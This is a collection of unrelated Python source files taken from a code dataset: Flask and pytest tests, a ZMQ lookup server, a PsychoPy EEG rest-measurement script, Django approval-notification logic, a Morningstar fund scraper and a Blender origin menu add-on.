200\n\n @mock.patch('requests.get')\n @mock.patch('requests.Response')\n def test_get_caselist_page(self, mock_response, mock_get):\n mock_response.json.return_value = stubcaselist\n mock_response.status_code = 200\n mock_get.return_value = mock_response\n response = self.app.get('/cases')\n assert \"DN1\" in response.data\n\n @responses.activate\n def test_get_case_LR1011(self):\n\n #Mock the response from cases-api/cases/[case_number]\n cases_api_url = app.config['CASES_API_URL'] + '/cases/LR1011'\n responses.add(responses.GET, cases_api_url, match_querystring = True,\n body = json.dumps(stubcase), status = 200, content_type='application/json')\n\n #Mock the response from update-register/titles/[title_number]\n update_register_url = app.config['UPDATE_REGISTER_URL'] + '/titles/DN1?format=subreg'\n responses.add(responses.GET, update_register_url, match_querystring = True,\n body = json.dumps(update_register_response), status = 200, content_type='application/json')\n\n response = self.app.get('/cases/LR1011')\n\n page_content = response.data\n assert response.status_code == 200\n assert 'LR1011' in page_content\n\n @mock.patch('requests.get')\n @mock.patch('requests.Response')\n def test_is_lang_attribute_present(self, mock_response, mock_get):\n response = self.app.get('/cases')\n page_content = response.data.decode()\n assert response.status_code == 200\n assert '' in page_content\n\n def test_complete(self):\n response = self.app.get('/cases/NB1234X/complete')\n page_content = response.data.decode()\n assert response.status_code == 200\n # assert page_content==''\n","sub_path":"tests/test_app.py","file_name":"test_app.py","file_ext":"py","file_size_in_byte":2203,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"491925400","text":"import zmq\nimport time\nimport sys\nimport socket as spython\nimport json\n\nport = '5555'\n\ndef get_ip():\n s = spython.socket(spython.AF_INET, spython.SOCK_DGRAM)\n s.connect((\"8.8.8.8\", 80))\n ip = s.getsockname()[0]\n s.close()\n return (ip)\n\nop_servers = {}\n\nif len(sys.argv) > 1:\n port = sys.argv[1]\n\ncontext = zmq.Context()\nsocket = context.socket(zmq.REP)\n\nsocket.bind('tcp://*:%s' % port)\n\nprint ('servidor ejecutandose en ', get_ip(), ':', port)\n\nwhile True:\n message = socket.recv().decode('utf-8').split('?')\n header = message[0]\n print (message)\n if (header == 'addme'):\n op_servers[message[1]] = [message[2], message[3]]\n socket.send_string('ok')\n elif (header == 'op'):\n if message[3] in op_servers:\n message = op_servers[message[3]][0] + ':' + op_servers[message[3]][1]\n socket.send_string(message)\n else:\n socket.send_string('result?There is not a valid operation');\n\n","sub_path":"Homeworks/Task3/central_server.py","file_name":"central_server.py","file_ext":"py","file_size_in_byte":969,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"351397695","text":"from collections import deque\n\nn, k = map(int, input().split())\ngraph=[]\ndata=[]\nfor i in range(n) :\n graph.append(list(map(int, input().split())))\n for j in range(n) :\n if graph[i][j]!=0 :\n data.append((graph[i][j],0,i,j))\ndata.sort()\nq=deque(data)\n\ns, x, y= map(int, input().split())\n\ndx=[-1,0,1,0]\ndy=[0,1,0,-1]\n\n\n\n\n \nwhile q :\n number, time, xx, yy=q.popleft()\n if time==s :\n break\n for i in range(4) :\n nx=xx+dx[i]\n ny=yy+dy[i]\n if nx>=0 and ny>=0 and nx 1:\n if approves[1].edit_time + datetime.timedelta(hours=3) > now_time:\n return False\n\n template = '

亲爱的 _approver_ :
      有一份集体出差申请单需要您的审批。网址:AFS-事务流程系统

申请人: _applicant_

'\n for user in qq_api.users:\n if approver_id.split('@youmi.net')[0] == user['account']:\n content = template.replace('_approver_', approver_name).replace('_applicant_', applicant_name)\n qq_api.broadcast_send(user['open_id'], '集体出差审批', content)\n break\n return True\n\n\ndef sendApprove(approve_id, approve_name, applicant_id, applicant_name, approve_text, approve_comment):\n if not approve_text == CommonChoices.getArrayValue(CommonChoices.APPROVE_ACTION, '30'):\n now_time = datetime.datetime.now()\n applies = ExBusinessApply.objects.filter(applicant_id=applicant_id, apply_status__in=['20', '30', '40']).order_by('-edit_time')\n if len(applies) > 1:\n if applies[1].edit_time + datetime.timedelta(hours=3) > now_time:\n return False\n\n template = '

亲爱的 _applicant_ :
      您的集体出差申请单的审批结果为 _text_ ,批示: _comment_ 。

审批人: _approve_

'\n for user in qq_api.users:\n if applicant_id.split('@youmi.net')[0] == user['account']:\n content = template.replace('_approve_', approve_name).replace('_applicant_', applicant_name).replace('_text_', approve_text).replace('_comment_', approve_comment)\n qq_api.broadcast_send(user['open_id'], '集体出差审批结果', content)\n break\n return True\n\n\ndef sendNextApprove(approve_id, approve_name, applicant_id, applicant_name, approve_text, approve_comment, approver_id, approver_name):\n now_time = datetime.datetime.now()\n flag1 = True\n applies = ExBusinessApply.objects.filter(applicant_id=applicant_id, apply_status__in=['20', '30', '40']).order_by('-edit_time')\n if len(applies) > 1:\n if applies[1].edit_time + datetime.timedelta(hours=3) > now_time:\n flag1 = False\n flag2 = True\n approves = ExBusinessApprove.objects.filter(approver_id=approver_id, approve_submit=False).order_by('-edit_time')\n if len(approves) > 1:\n if approves[1].edit_time + datetime.timedelta(hours=3) > now_time:\n return False\n if not flag1 and not flag2:\n return False\n\n template1 = '

亲爱的 _applicant_ :
      您的集体出差申请单的审批结果为 _text_ ,批示: _comment_ 。下一审批人是 _approver_ 。

审批人: _approve_

'\n template2 = '

亲爱的 _approver_ :
      有一份集体出差申请单需要您的审批。网址:AFS-事务流程系统

申请人: _applicant_

'\n for user in qq_api.users:\n if not flag1:\n break\n if applicant_id.split('@youmi.net')[0] == user['account']:\n content = template1.replace('_approve_', approve_name).replace('_approver_', approver_name).replace('_applicant_', applicant_name).replace('_text_', approve_text).replace('_comment_', approve_comment)\n qq_api.broadcast_send(user['open_id'], '集体出差审批结果', content)\n break\n for user in qq_api.users:\n if not flag2:\n break\n if approver_id.split('@youmi.net')[0] == user['account']:\n content = template2.replace('_approver_', approver_name).replace('_applicant_', applicant_name)\n qq_api.broadcast_send(user['open_id'], '集体出差审批', content)\n break\n return True\n\n\ndef get_AFTE_path(appName):\n match = Ini.getIniValue(settings.REGISTER_INI, 'application', appName)\n templatePath = 'afte_template/' + match + '.html'\n return templatePath\n\n\ndef get_AFTE_content(appName):\n match = Ini.getIniValue(settings.REGISTER_INI, 'application', appName)\n templateName = '/' + match + '.html'\n templateDir = settings.AFTE_TEMPLATE\n templatePath = templateDir + templateName\n with open(templatePath, 'r') as fp:\n content = fp.read()\n return content\n\n\nclass ExBusinessApproveForm(forms.Form):\n approve_id = forms.IntegerField(required=False, widget=forms.HiddenInput)\n apply_no = forms.IntegerField(required=False, widget=forms.HiddenInput)\n edit_status = forms.IntegerField(required=False, widget=forms.HiddenInput)\n approver_id = forms.CharField(required=False, max_length=50, widget=forms.HiddenInput)\n approver_name = forms.CharField(required=False, max_length=20)\n approve_comment = forms.CharField(required=False, max_length=500)\n approve_status = forms.ChoiceField(required=False, choices=CommonChoices.APPROVE_ACTION, widget=forms.Select(attrs={'onchange':'setApproveComment(this)'}))\n\n def formToModel(self, exbusinessApprove):\n data = self.cleaned_data\n exbusinessApprove.approver_id = data['approver_id']\n exbusinessApprove.approver_name = data['approver_name']\n exbusinessApprove.approve_comment = data['approve_comment']\n exbusinessApprove.approve_status = data['approve_status']\n\n return exbusinessApprove\n\n\ndef toExBusinessApplyOV(exbusinessApply):\n exbusinessApply.apply_num = '%010d' %exbusinessApply.apply_no\n exbusinessApply.apply_num = exbusinessApply.create_time.strftime('%Y%m%d') + '-' + exbusinessApply.apply_num[:2] + '-' + exbusinessApply.apply_num[-4:]\n exbusinessApply.apply_statusInt = exbusinessApply.apply_status\n exbusinessApply.apply_status = CommonChoices.getArrayValue(CommonChoices.APPLY_STATUS, str(exbusinessApply.apply_status))\n return exbusinessApply\n\n\ndef toExBusinessApproveOV(exbusinessApprove):\n exbusinessApprove.exbusinessApply.apply_num = '%010d' %exbusinessApprove.exbusinessApply.apply_no\n exbusinessApprove.exbusinessApply.apply_num = exbusinessApprove.exbusinessApply.create_time.strftime('%Y%m%d') + '-' + exbusinessApprove.exbusinessApply.apply_num[:2] + '-' + exbusinessApprove.exbusinessApply.apply_num[-4:]\n exbusinessApprove.approve_statusInt = exbusinessApprove.approve_status\n exbusinessApprove.approve_status = CommonChoices.getArrayValue(CommonChoices.APPROVE_STATUS, str(exbusinessApprove.approve_status))\n return exbusinessApprove\n\n\nclass CommonApproverOV():\n def __init__(self, approver_name, approver_id):\n self.approver_name = approver_name\n self.approver_id = approver_id\n","sub_path":"sample/AFS/apps/exbusiness/logics.py","file_name":"logics.py","file_ext":"py","file_size_in_byte":23203,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"428703216","text":"#coding=utf-8\nimport sys\nimport os\nimport json\nbase_path=os.getcwd()\nsys.path.append(base_path)\n#from handle.handle_excel import HandExcel\nfrom handle.handle_excel import handle_excel\nfrom Base.base_request import request_base\nfrom handle.handle_ini import handleIni\nfrom handle.handle_result import handleResult\nfrom util.post_email import postEmail\n\nclass RunMain:\n def __init__(self):\n self.host_server=handleIni.get_value('host')\n pass\n '''\n ['case001', '我的_登录', '是', '/dj_user/out/login/loginByPhoneV2?usr=j27871222&rgt=7&p1=V3WygQ4dlCADADL64yvBGhkY&pc=10&p2=124011&p3=17126056&p4=501656&p5=12&p6=&p7=__3e932cc0f202a00f&p9=2&p12=&p16=vivo+Y51A&p21=3&p22=5.1.1&p25=17126056&p26=22 HTTP/1.1', 'post', None, None, 'code+message', None, None, None]\n '''\n def get_post_email(self,emailSubject,emailContent,file_path,file_name):\n postEmail.post_email(emailSubject,emailContent,file_path,file_name)\n\n def run_case(self):\n max_rows=handle_excel.get_rows()\n for i in range(max_rows-1):\n # print(handle_excel.get_rows_value(i+2))\n data_value=handle_excel.get_rows_value(i+2)\n method=data_value[4]\n data=data_value[5]\n excepect_method=data_value[7]\n if i==3:\n url=data_value[3]\n res=request_base.send_method(method,url,data)\n res1=json.loads(res)\n else:\n url=self.host_server+data_value[3]\n # print(request_base.send_method(method,url,data))\n res=request_base.send_method(method,url,data)\n res1=json.loads(res)\n '''\n 将通过实际的url/code 对应的msg 与接口文档中的(即code_message.json文件中的 url/code 对应的message是否一致来定测试是否通过)\n '''\n code=str(res1.get(\"code\"))\n msg=res1[\"msg\"]\n message=handleResult.get_value(data_value[3],code)\n print(len(msg),message,'================================>')\n if excepect_method==\"code+message\":\n if message==msg:\n print(\"接口测试通过\")\n handle_excel.excel_write_data(i+2,10,\"通过\")\n else:\n print(\"接口测试不通过\")\n handle_excel.excel_write_data(i+2,10,\"失败\")\n handle_excel.excel_write_data(i+2,11,res)\n print('已成功执行1个接口测试代码code+message')\n elif excepect_method==\"code\":\n print(data_value[8])\n if data_value[8]==code:\n print(\"接口测试通过\")\n handle_excel.excel_write_data(i+2,10,\"通过\")\n else:\n print(\"接口测试不通过\")\n handle_excel.excel_write_data(i+2,10,\"失败\")\n handle_excel.excel_write_data(i+2,11,res)\n print('已成功执行1个接口测试代码code')\n else:\n excepect_result_json=handleResult.get_result_json(data_value[3])\n fag=handleResult.handle_result_json(res1,excepect_result_json)\n if fag==True:\n print(\"接口测试通过\")\n handle_excel.excel_write_data(i+2,10,\"通过\")\n else:\n print(\"接口测试不通过\")\n handle_excel.excel_write_data(i+2,10,\"失败\")\n handle_excel.excel_write_data(i+2,11,res)\n print('已成功执行1个接口测试代码JSON')\n emailSubject=\"发送接口测试邮件\"\n emailContent=\"今日接口定时任务执行完毕,请查看邮件~~~\"\n file_path=base_path+\"/Case/\"\n file_name=\"case.xlsx\"\n self.get_post_email(emailSubject,emailContent,file_path,file_name)\n \n\n\n \n \n\nif __name__=='__main__':\n runMain=RunMain()\n runMain.run_case()","sub_path":"Run/run_main.py","file_name":"run_main.py","file_ext":"py","file_size_in_byte":4033,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"512625584","text":"# uncompyle6 version 3.7.4\n# Python bytecode 3.7 (3394)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: /home/marcofavorito/.pyenv/versions/3.7.6/lib/python3.7/site-packages/gym_breakout_pygame/wrappers/dict_space.py\n# Compiled at: 2020-04-04 09:47:59\n# Size of source mod 2**32: 1777 bytes\n\"\"\"Breakout environments using a \"dict\" state space.\"\"\"\nfrom gym.spaces import Dict\nfrom gym_breakout_pygame.breakout_env import BreakoutState\nfrom gym_breakout_pygame.wrappers.skipper import BreakoutSkipper\n\nclass BreakoutDictSpace(BreakoutSkipper):\n __doc__ = 'A Breakout environment with a dictionary state space.\\n The components of the space are:\\n - Paddle x coordinate (Discrete)\\n - Ball x coordinate (Discrete)\\n - Ball y coordinate (Discrete)\\n - Ball horizontal speed (Discrete)\\n - Ball vertical speed (Discrete)\\n - Brick matrix (MultiBinary)\\n '\n\n def __init__(self, *args, **kwargs):\n (super().__init__)(*args, **kwargs)\n if self.config.ball_enabled:\n self.observation_space = Dict({'paddle_x':self._paddle_x_space, \n 'ball_x':self._ball_x_space, \n 'ball_y':self._ball_y_space, \n 'ball_x_speed':self._ball_x_speed_space, \n 'ball_y_speed':self._ball_y_speed_space, \n 'bricks_matrix':self._bricks_matrix_space})\n else:\n self.observation_space = Dict({'paddle_x':self._paddle_x_space, \n 'bricks_matrix':self._bricks_matrix_space})\n\n def observe(self, state: BreakoutState):\n \"\"\"Observe the state.\"\"\"\n dictionary = state.to_dict()\n if not self.config.ball_enabled:\n dictionary.pop('ball_x')\n dictionary.pop('ball_y')\n dictionary.pop('ball_x_speed')\n dictionary.pop('ball_y_speed')\n return dictionary\n\n @classmethod\n def compare(cls, obs1, obs2) -> bool:\n \"\"\"Compare two observations.\"\"\"\n return False","sub_path":"pycfiles/gym_breakout_pygame-0.1.1.linux-x86_64.tar/dict_space.cpython-37.py","file_name":"dict_space.cpython-37.py","file_ext":"py","file_size_in_byte":1996,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"236097792","text":"#!/usr/bin/env python\n\nimport requests\nimport sys\nimport re\nimport pandas as pd\n\nfrom bs4 import BeautifulSoup\n\nVANGUARD_BASE = 'https://personal.vanguard.com'\nMORNINGSTAR_BASE = 'http://quotes.morningstar.com/fund/f?region=USA&t='\n\nVANGUARD_FUNDS_PAGE = '/us/funds/vanguard/FundsTableView'\n\nr = requests.get(VANGUARD_BASE + VANGUARD_FUNDS_PAGE)\nif r.status_code != 200:\n print('Could not retrieve funds page, code %d' % r.status_code)\n sys.exit(1)\n\nlinks = BeautifulSoup(r.text).find_all('a', href=re.compile('/us/funds/snapshot'))\n\nfunds = []\n\nfor link in links:\n f = {}\n\n f['name'] = link.text\n r = requests.get(VANGUARD_BASE + link['href'])\n if r.status_code != 200:\n print('Received status %d when retrieving %s symbol name' % (r.status_code, f['name']))\n continue\n f['symbol'] = BeautifulSoup(r.text).find('span', class_='note').text[2:-1]\n\n print(f['symbol'])\n\n r = requests.get(MORNINGSTAR_BASE + f['symbol'])\n if r.status_code != 200:\n print('Received status %d when retrieving %s morningstar info' % (r.status_code, f['name']))\n continue\n\n fund_attr = BeautifulSoup(r.text).find('div', class_='r_title')\n\n for i, child in enumerate(fund_attr.children):\n if i == 2:\n f['stars'] = int(child['class'][0][-1])\n if i == 3:\n f['medal'] = child['class'][0][2:-3]\n \n funds.append(f)\n\ndf = pd.DataFrame(funds, columns=['name', 'symbol', 'stars', 'medal'])\ndf.to_csv('vanguard_funds.csv', index=False, header=False)\n \n\n","sub_path":"morningstar.py","file_name":"morningstar.py","file_ext":"py","file_size_in_byte":1462,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"224543113","text":"from rusocsci import buttonbox\r\nfrom psychopy import prefs\r\nprefs.general['audioLib'] = ['pyo']\r\nfrom psychopy import sound\r\nfrom psychopy import core, visual, event, sound\r\nwin = visual.Window([800,600], fullscr=True, winType='pyglet',allowGUI=False)\r\n\r\n#!!! REST EEG BEFORE ENCODING!!!\r\n\r\nEEG = 1\r\nif EEG == 1:\r\n bb = buttonbox.Buttonbox()\r\n\r\nnumber_blocks = 4\r\nblock_dur = 60.0\r\ntone = sound.Sound(700,secs=0.5)\r\nc = []\r\n\r\nmessage = visual.TextStim(win,text=\"Welkom. \\n\\nWe beginnen met een rustmeting van het EEG signaal. Blijft u rustig zitten en volg de instructies op het scherm (sluiten/open uw ogen). Als de instructies veranderen, wordt u gewaarschuwd door een geluid.\")\r\nmessage.draw()\r\nwin.flip()\r\nevent.waitKeys()\r\n\r\nbb.sendMarker(val=1)\r\ncore.wait(0.01)\r\nbb.sendMarker(val=0)\r\n\r\nstartTime = core.getTime()\r\nendTime = startTime + (number_blocks*block_dur)\r\n\r\n\r\nfor block in range(1,number_blocks+1):\r\n tone.play()\r\n if block%2 != 0: #blocks 1 and 3\r\n if block == 1:\r\n bb.sendMarker(val=2)\r\n core.wait(0.001)\r\n bb.sendMarker(val=0)\r\n elif block == 3:\r\n bb.sendMarker(val=2)\r\n core.wait(0.001)\r\n bb.sendMarker(val=0)\r\n while core.getTime() > (startTime+((block-1)*block_dur)) and core.getTime() < (startTime+(block*block_dur)) and c == []:\r\n message = visual.TextStim(win, text=\"Open uw ogen\")\r\n message.draw()\r\n win.flip()\r\n core.wait(1.0)\r\n c = event.getKeys(['escape'])\r\n elif block%2 == 0: #blocks 2 and 4\r\n if block == 2:\r\n bb.sendMarker(val=3)\r\n core.wait(0.001)\r\n bb.sendMarker(val=0)\r\n elif block == 4:\r\n bb.sendMarker(val=3)\r\n core.wait(0.001)\r\n bb.sendMarker(val=0)\r\n while core.getTime() > (startTime+((block-1)*block_dur)) and core.getTime() < (startTime+(block*block_dur)) and c == []:\r\n message = visual.TextStim(win, text=\"Sluit uw ogen\")\r\n message.draw()\r\n win.flip()\r\n core.wait(1.0)\r\n c = event.getKeys(['escape'])\r\n if block == 4:\r\n tone.play()\r\n message = visual.TextStim(win,text=\"Open uw ogen. Dit is het einde van de rustmeting.\")\r\n message.draw()\r\n win.flip()\r\n core.wait(5.000)\r\n\r\nbb.sendMarker(val=9)\r\ncore.wait(0.001)\r\nbb.sendMarker(val=0)\r\nprint(core.getTime()- startTime)\r\n","sub_path":"ExperimentalDesign/RestEEG_pre_enc.py","file_name":"RestEEG_pre_enc.py","file_ext":"py","file_size_in_byte":2471,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"211528372","text":"# \r\n#python saved for the sum function\r\nimport math\r\n\r\n#NUM_DAYS is used as a constant, 7 assuming open all days of week\r\nNUM_DAYS = 7\r\n#start main\r\ndef main():\r\n write_to_file()\r\n read_to_file()\r\n#launch 1st\r\ndef write_to_file ():\r\n # Create a list to hold daily sales\r\n dsales = [0] * NUM_DAYS\r\ntry:\r\n fname = open('daysales.txt', 'w') \r\n # Get each days sales\r\n for index in range(NUM_DAYS):\r\n print('Enter the sales for Day ',index + 1, sep='')\r\n dsales = float((input())) \r\nexcept IOerror:\r\n print('Error occured with input.')\r\nexcept ValueError:\r\n print('Non-numeric characters found.')\r\n fname.write(dsales + '\\n')\r\nfname.close()\r\n \r\n \r\n#launch 2nd \r\ndef read_to_file (): #read file, make them floats, calc using sum/map\r\n try:\r\n fname = open('daysales.txt', 'r')\r\n for line in fname:\r\n amount = float(line)\r\n totalPrice = sum(map(float, fname)) + amount\r\n print(totalPrice)\r\n fname.close()\r\n except IOerror:\r\n print('Error occured while reading.')\r\n except ValueError:\r\n print('Non-numeric characters found.')\r\n\r\n# Call the main function and its over so end program\r\nmain()\r\n","sub_path":"FloatissueDefErrorIssues.py","file_name":"FloatissueDefErrorIssues.py","file_ext":"py","file_size_in_byte":1229,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"375355548","text":"import datetime\n\nimport pytest\n\nfrom django.contrib.auth.models import User\n\nfrom quiz.models import Category, Quiz\nfrom multichoice.models import MCQuestion\n\n### Fixtures ###\n\n@pytest.fixture\ndef category_m(db):\n return Category.objects.create(category=\"m\")\n\n\n@pytest.fixture\ndef user_A(db):\n return User.objects.create_user(username=\"A\")\n\n\n@pytest.fixture\ndef quiz_q(db, category_m, user_A):\n date = datetime.datetime.now()\n return Quiz.objects.create(\n title=\"title\",\n description=\"Long description\",\n creator=user_A,\n category=category_m,\n category_name=\"m\",\n sub_category=None,\n created=date,\n random_order=False,\n difficulty=1,\n )\n\n@pytest.fixture\ndef mc_question_one_true(quiz_q):\n return MCQuestion.objects.create(\n quiz=quiz_q,\n difficulty=1,\n order=1,\n figure=None,\n content=\"mc\",\n explanation=\"\",\n theme1=\"t1\",\n theme2=\"t2\",\n theme3=\"t3\",\n answer1=\"a1\",\n answer1_correct=True,\n answer2=\"a2\",\n answer2_correct=False,\n answer3=\"a3\",\n answer3_correct=False,\n )\n\n@pytest.fixture\ndef mc_question_all_true(quiz_q):\n return MCQuestion.objects.create(\n quiz=quiz_q,\n difficulty=1,\n order=1,\n figure=None,\n content=\"mc\",\n explanation=\"\",\n theme1=\"t1\",\n theme2=\"t2\",\n theme3=\"t3\",\n answer1=\"a1\",\n answer1_correct=True,\n answer2=\"a2\",\n answer2_correct=True,\n answer3=\"a3\",\n answer3_correct=True,\n )\n\n### Test model MCQuestion ###\ndef test_model_mc_question(mc_question_one_true):\n \"\"\"\n GIVEN a MultiChoiceQuestion with valid data\n WHEN this data has to be compared\n THEN assert it returns what is expected\n \"\"\"\n assert mc_question_one_true.answer1 == \"a1\"\n assert mc_question_one_true.answer1_correct == True\n assert mc_question_one_true.answer2 == \"a2\"\n assert mc_question_one_true.answer2_correct == False\n assert mc_question_one_true.answer3 == \"a3\"\n assert mc_question_one_true.answer3_correct == False\n\ndef test_model_mc_question_all_true(mc_question_all_true):\n \"\"\"\n GIVEN a MultiChoiceQuestion where all questions are True\n WHEN this data has to be compared\n THEN assert it returns what is expected\n \"\"\"\n assert mc_question_all_true.answer1_correct == True\n assert mc_question_all_true.answer2_correct == True\n assert mc_question_all_true.answer3_correct == True","sub_path":"multichoice/tests/test_models.py","file_name":"test_models.py","file_ext":"py","file_size_in_byte":2528,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"175101897","text":"import queue\nimport time\nimport decimal\nimport test.DB_pool as pool\nimport gevent\nfrom gevent import monkey\n\nmonkey.patch_all()\n\n\ndef query(q, sql_loan, pos, pos_end, id):\n try:\n db_start = time.time()\n account_sum = {}\n with pool.get_conn().cursor() as cursor:\n cursor.execute(sql_loan, (pos, pos_end, id['id']))\n loan_sum = cursor.fetchone()\n print(ids)\n result = loan_sum['loan_sum']\n account_sum[id] = result\n print(\"account_id:%d, cost time:%s\" % (id['id'], str(time.time() - db_start)))\n q.put(account_sum)\n finally:\n pool.get_conn().__exit__()\n\n\nif __name__ == \"__main__\":\n start = time.time()\n try:\n with pool.get_conn().cursor() as cursor:\n sql_account = \"SELECT id FROM config_account WHERE valid=1\"\n sql_loan = \"SELECT SUM(a.loan_sum) loan_sum FROM loan_detail a JOIN account_order b ON a.loan_gid = b.order_gid WHERE a.create_time BETWEEN %s AND %s AND a.withdraw_status IN(-2, 0, 1, 9) AND b.account_id = %s\"\n\n cursor.execute(sql_account)\n ids = cursor.fetchall()\n print(ids)\n start = int(time.mktime(time.strptime('2018-08-16 00:00:00', \"%Y-%m-%d %H:%M:%S\")))\n end = int(time.mktime(time.strptime('2018-08-16 23:59:59', \"%Y-%m-%d %H:%M:%S\")))\n\n start_time = start\n end_time = end\n div = (end_time - start_time) / 3600\n rem = (end_time - start_time) % 3600\n num = div if rem == 0 else div + 1\n\n total_start = time.time()\n q = queue.Queue()\n jobs = []\n id_list = []\n for id in ids:\n id_list.append(id['id'])\n pos = start\n for i in range(int(num)):\n pos_end = pos + 3600 - 1\n if pos_end > end:\n pos_end = end\n job = gevent.spawn(query, q, sql_loan, pos, pos_end, id['id'])\n jobs.append(job)\n\n gevent.joinall(jobs)\n\n result_id = {}\n while not q.empty():\n print(q.get())\n for id in id_list:\n v = result_id[id['id']]\n if v:\n if q.get()[id] == id:\n result_id[id] = v + q.get()[id]\n else:\n result_id[id] = decimal(0)\n\n for id in id_list:\n print(\"account_id:%d, sum:%s\" % (id, result_id[id]))\n\n print(\"total time:\" + str(time.time() - total_start))\n\n finally:\n pool.get_conn().__exit__()\n","sub_path":"test/MysqlXieC1.py","file_name":"MysqlXieC1.py","file_ext":"py","file_size_in_byte":2684,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"517103282","text":"\"\"\"Recipes for Bodega generic items.\"\"\"\nimport logging\nfrom bodega_core import exceptions, Recipe\nfrom .models import CockroachDBDepsMachine\nfrom .tasks import CreateCockroachDBDepsMachineFromAwsTask\n\nlog = logging.getLogger(__name__)\n\n\nclass CockroachDBDepsMachineRecipe(Recipe):\n \"\"\"Recipe for the CockroachDBDepsMachine Item class.\"\"\"\n\n @property\n def required_ingredients(self):\n return None\n\n def creator_task(self, requirements):\n model = self.requirements.get('model', None)\n\n if not model:\n log.debug('No model was specified so using default model '\n '(%s) for CockroachDBDepsMachine.'\n % CockroachDBDepsMachine.DEFAULT_MODEL)\n model = CockroachDBDepsMachine.DEFAULT_MODEL\n\n if model.lower().startswith('aws'):\n return CreateCockroachDBDepsMachineFromAwsTask\n else:\n exceptions.bodega_value_error(\n log,\n 'The requested model (%s) is not supported '\n 'for CockroachDBDepsMachine items.'\n % model)\n","sub_path":"lab/bodega/bodega_crdb_dev_items/recipes.py","file_name":"recipes.py","file_ext":"py","file_size_in_byte":1098,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"103200130","text":"__status__ = \"toolplus\"\n__author__ = \"mkbreuer\"\n__version__ = \"1.0\"\n__date__ = \"2017\"\n\n\n\nimport bpy, os\nfrom bpy import *\nfrom bpy.props import *\nfrom . icons.icons import load_icons\n\n\ndef draw_origin_menu_layout(self, context, layout):\n \n icons = load_icons()\n\n button_origin_center_view = icons.get(\"icon_origin_center_view\")\n layout.operator(\"tp_ops.origin_set_center\", text=\"Center\", icon_value=button_origin_center_view.icon_id)\n\n button_origin_cursor = icons.get(\"icon_origin_cursor\")\n layout.operator(\"tp_ops.origin_cursor_edm\", text=\"Cursor\", icon_value=button_origin_cursor.icon_id) \n\n layout.separator()\n\n button_origin_edm = icons.get(\"icon_origin_edm\") \n layout.operator(\"tp_ops.origin_edm\",\"Edm-Select\", icon_value=button_origin_edm.icon_id) \n\n button_origin_obj = icons.get(\"icon_origin_obj\") \n layout.operator(\"tp_ops.origin_obm\",\"Obm-Select\", icon_value=button_origin_obj.icon_id) \n \n layout.separator()\n \n button_align_zero = icons.get(\"icon_align_zero\") \n layout.operator(\"tp_ops.zero_axis\", \"ZeroAxis\", icon_value=button_align_zero.icon_id) \n\n\n\nclass VIEW3D_TP_Origin_Menu(bpy.types.Menu):\n bl_label = \"Origin :) \"\n bl_idname = \"tp_menu.origin_base\" \n\n def draw(self, context):\n layout = self.layout\n\n icons = load_icons() \n \n settings = context.tool_settings\n layout.operator_context = 'INVOKE_REGION_WIN'\n \n \n ob = context\n if ob.mode == 'OBJECT':\n\n button_origin_center_view = icons.get(\"icon_origin_center_view\")\n layout.operator(\"object.transform_apply\", text=\"Center\", icon_value=button_origin_center_view.icon_id).location=True\n\n button_origin_cursor = icons.get(\"icon_origin_cursor\")\n layout.operator(\"tp_ops.origin_set_cursor\", text=\"3D Cursor\", icon_value=button_origin_cursor.icon_id)\n\n layout.separator()\n \n button_origin_tomesh = icons.get(\"icon_origin_tomesh\")\n layout.operator(\"tp_ops.origin_tomesh\", text=\"Origin to Mesh\", icon_value=button_origin_tomesh.icon_id)\n\n button_origin_meshto = icons.get(\"icon_origin_meshto\")\n layout.operator(\"tp_ops.origin_meshto\", text=\"Mesh to Origin\", icon_value=button_origin_meshto.icon_id)\n\n layout.separator()\n\n button_origin_mass = icons.get(\"icon_origin_mass\") \n layout.operator(\"tp_ops.origin_set_mass\", text=\"Center of Mass\", icon_value=button_origin_mass.icon_id)\n\n layout.separator()\n \n button_origin_bbox = icons.get(\"icon_origin_bbox\")\n layout.operator(\"object.bbox_origin_modal_ops\", text=\"BBox Origin\", icon_value=button_origin_bbox.icon_id)\n\n layout.separator()\n\n button_align_zero = icons.get(\"icon_align_zero\") \n layout.operator(\"tp_ops.zero_axis\", \"ZeroAxis\", icon_value=button_align_zero.icon_id) \n\n button_origin_distribute = icons.get(\"icon_origin_distribute\") \n layout.operator(\"object.distribute_osc\", \"Distribute\", icon_value=button_origin_distribute.icon_id)\n \n button_origin_align = icons.get(\"icon_origin_align\")\n layout.operator(\"tp_origin.align_tools\", \"AlignTools\", icon_value=button_origin_align.icon_id) \n \n\n if ob.mode == 'EDIT_MESH':\n\n\n draw_origin_menu_layout(self, context, layout) \n \n \n if ob.mode == 'EDIT_CURVE':\n \n draw_origin_menu_layout(self, context, layout) \n\n\n \n if ob.mode == 'EDIT_SURFACE':\n \n draw_origin_menu_layout(self, context, layout) \n\n\n\n if ob.mode == 'EDIT_METABALL':\n \n draw_origin_menu_layout(self, context, layout) \n\n \n if ob.mode == 'EDIT_LATTICE':\n \n draw_origin_menu_layout(self, context, layout) \n \n \n if context.mode == 'PARTICLE':\n \n draw_origin_menu_layout(self, context, layout) \n\n\n if ob.mode == 'EDIT_ARMATURE':\n\n draw_origin_menu_layout(self, context, layout) \n \n\n if context.mode == 'POSE':\n\n draw_origin_menu_layout(self, context, layout) 